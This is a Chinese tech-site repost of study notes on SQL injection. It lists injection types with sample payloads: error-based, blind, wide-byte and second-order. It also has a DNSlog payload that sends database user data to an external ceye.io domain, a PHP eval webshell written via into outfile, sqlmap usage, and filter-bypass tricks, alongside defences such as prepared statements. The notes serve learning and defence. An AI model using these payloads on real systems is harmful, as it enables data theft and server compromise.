IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 大数据 -> sql注入 -> 正文阅读

[大数据]sql注入

sql注入

什么是sql注入?

用户输入的参数未经处理直接带入数据库中进行查询,sql注入属于服务端攻击,他与操作系统,数据库类型,脚本语言无关。

sql注入通常存在?

url参数框:
xxx.asp?id=xx
xxx.php?id=xx
xxx.jsp?id=xx
登陆的地方,出现更新的地方,注册的地方,留言板等。
http头部,cookies,reference,unsagent,post的提交数据。

sql注入的分类?

数字型:当输入的参数为整形时,如果存在注入漏洞,可以认为是数字型注入。

加单引号,URL:www.text.com/text.php?id=3’ 会出现报错单引号报错
字符型:字符型和数字型最大的一个区别在于,数字型不需要单引号来闭合,而字符串一般需要通过单引号来闭合的。
搜索型:可以理解为文本框注入,即一般网页可以填写的文本框, get注入网页url框

注入提交方法?

get post cookie提交

注入攻击类型?

1.union注入

一般和order by,scheinformation_schem连用,爆数据库名,表名,列名,到最后的列数据。

2.报错注入

updatexml: and updataxml(1,concat(0x7e,(),0x7e),1) --+一共可以接收三个参数,报错位置在第二个参数.
extractvalue:and extravtvalue(1,concat(0x7e,())) --+ 一共可以接收两个参数,报错位置在第二个参数
floor:or (select 1 from (select count(*),concat(0x7e,(),0x7e,floor(rand(0) * 2))x from information_schema.tables group by x)a)–+ 原因是键值重复

还有那几个数学函数:
链接:https://blog.csdn.net/weixin_54217950/article/details/122938063

3.http头部注入(工具burpsuit)

User-Agent:使服务器能够识别客户端使用的操作系统,浏览器版本等(很多数据量大的网站中会记录客户使用的操作系统或浏览器版本等存入数据库中)。
Cookie:网站为了辨别用户身份、进行session跟踪而储存在用户本地终端上的数据(通常经过加密)。
Host:客户端指定自己想访问的Web服务器的域名/IP 地址和端口号。
X-Forwarded-For:简称XFF头,它代表客户端(即HTTP的请求端)真实的IP(通常一些网站的防注入功能会记录请求端真实IP地址并写入数据库or某文件[通过修改XXF头可以实 现伪造IP])。
Referer:浏览器向Web服务器表明自己是从哪个页面链接过来的。

4.盲注

时间盲注

基于数据库长度的时间盲注:andif((length(database()=8)),sleep(5),1)–+

基于数据库名的盲注
and if((substr((select database())),1,1)=‘s’),sleep (2),1)–+

基于数据库名长度的盲注:
and if ((ascii(substr((select database()),1,1))>80),sleep(3),1)–+ 注意:可以使用二分法进行盲注。

布尔盲注

Web页面仅仅返回类似True或False的两种结果。
注入方式:进行SQL注入之后,根据页面返回的True或者是False来得到数据库中 的相关信息

判断数据库名长度
and length(select database())=8)–+

判断数据库表名长度
and substr((select database()),1,1)=‘s’–+

5.宽字节注入(突破字符转义)

与gbk有关,一个gbk编码汉字,占用2个字节。一个utf-8编码的汉字,占用3个字节。

原理:%df和后面的/(%5c)变成一个汉字運,使得’逃逸出来。

**原因:根据gbk编码规则,第一个汉字ascii码大于128既可以了,如我们不用%df,用%a1也可以。%a1%5c他可能不是汉字,但一定会被mysql认为是一个宽字符,就能够让后面的%27逃逸了出来。

装逼继续说:gb2312和gbk会发生什么呢,gb2312,也是不成功的。这归结于gb2312编码的取值范围。它的高位范围是0xA1~0xF7,低位范围是0xA1~0xFE,而\是0x5c,是不在低位范围中的。所以,0x5c根本不是gb2312中的编码,所以自然也是不会被吃掉的。只要低位的范围中含有0x5c的编码,就可以进行宽字符注入**

预防方法?

  1. gbk编码造成的宽字符注入问题,解决方法是设置character_set_client=binary。

  2. 矫正人们对于mysql_real_escape_string的误解,单独调用set names gbk和mysql_real_escape_string是无法避免宽字符注入问题的。还得调用mysql_set_charset来设置一下字符集。

  3. 谨慎使用iconv来转换字符串编码,很容易出现问题。只要我们把前端html/js/css所有编码设置成gbk,mysql/php编码设置成gbk,就不会出现乱码问题。不用画蛇添足地去调用iconv转换编码,造成不必要的麻烦。

6.二次注入

举一个简单的例子:
第一次用户名:admin # +正常密码

第二次修改密码的时候我们修改admin #用户的密码的时候,发现admin的用户密码也修改了。

7.dnslog外带,在没有回显情况下。

注意:loda_file函数在mysql8.0版本之后已经被弃用

使用场景:

场景一:没有回显的情况下,一般编写脚本,进行自动化注入。但与此同时,由于防火墙的存在,容易被封禁 IP,可以尝试调整请求频率,有条件的使用代理池进行请求。

场景二:此时也可以使用 DNSlog 注入,原理就是把服务器返回的结果放在域名中,然后读取 DNS 解析时的日志,来获取想要的信息。

Mysql 中利用 load_file() 构造 payload:and load_file(concat(“\\”,hex(user()),“.ajma31.ceye.io\abc”))# 注意:这里因为结果里含有@关键字所以结果需要准换成十六进制编码才能实现。并且这里的.ajma31.ceye.io自己申请的,每个都不同。链接:https://blog.csdn.net/weixin_54217950/article/details/122972755

8.写webshell

数据库中into outfile语句把表数据导出到一个文本文件中,那么利用这个语句,再配合满足的‘三个条件’,即可实现文件或者一句话木马导入到数据库文件的目录中。

语句:
union select 1,2,3 into outfile “D:\phpstudy_pro\www\a.php”–+

union select “<?php @eval($_POST['123']);?>”,

条件:
root 权限、网站的绝对路径、需要数据库开启 secure_file_priv 相当于 secure_file_priv的值为空,不为空不充许写入 webshell (默认不开启,需要修改 my.ini 配置文件)。

sqlmap结合burpsuit进行注入

1.如果是 get 注入,直接,sqlmap -u “注入点网址”.
2.如果是 post 注入,可以 sqlmap –r "burp 地址访问包”
3.如果是 cookie,X-Forwarded-For 等,可以访问的时候,用 burpsuite 抓包,注入处用号替换,放到文件里,然后 sqlmap -r “文件地址”,记得加上—level 3 参数。

SQL 注入防护方法?

1、涵数过滤,如!is_numeric 涵数 //判断变量 id 是否为数字

2、直接下载相关防范注入文件,通过 incloud 包含放在网站配置文件里面,如 360、阿里云、腾迅提供的防注入脚本

3、使用白名单来规范化输入验证方法

4、使用 Waf 拦截

5、采用 PDO 预处理

预编译能否 **100%** sql 注入,如果不能,写一个

不能。

一、

$pdo->query('SET NAMES gbk');

$var = "\xbf\x27 OR 1=1 /*";

$query = 'SELECT * FROM test WHERE name = ? LIMIT 1';

$stmt = $pdo->prepare($query);

$stmt->execute(**array**($var));

类似于宽字节注入

二、

$dbh = **new** PDO("txf");

$name = $_GET['name'];

$stmt = $dbh->prepare('SELECT * FROM ' . $name . ' where usern

ame = :username');

$stmt->execute( **array**(':username' => $_REQUEST['username']));

参数 name 是一串数组,PDO 不会生效

sql注入参数过滤:

1.过滤and or 等关键字  (and可以用&&或者||代替)

2.过滤注释入-- # ' "  可以用 ;%00进行截断或者 '1'='1

3.过滤空格(\s)最基本的方法,在一些自动化SQL注射工具中,使用也十分普遍。
在MySQL中,用/**/ 注释可以用()  绕过。通过编码绕过:空格可以用。

4.= 等号的绕过  (我们可以通过使用/**/like/**/或者/**/regexp/**/

5.语句中有逗号就可能被拦截,这个时候我们可以用 join 来绕过。

  大数据 最新文章
实现Kafka至少消费一次
亚马逊云科技:还在苦于ETL?Zero ETL的时代
初探MapReduce
【SpringBoot框架篇】32.基于注解+redis实现
Elasticsearch:如何减少 Elasticsearch 集
Go redis操作
Redis面试题
专题五 Redis高并发场景
基于GBase8s和Calcite的多数据源查询
Redis——底层数据结构原理
上一篇文章      下一篇文章      查看所有文章
加:2022-07-21 21:37:17  更:2022-07-21 21:39:56 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年5日历 -2024/5/19 22:27:12-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码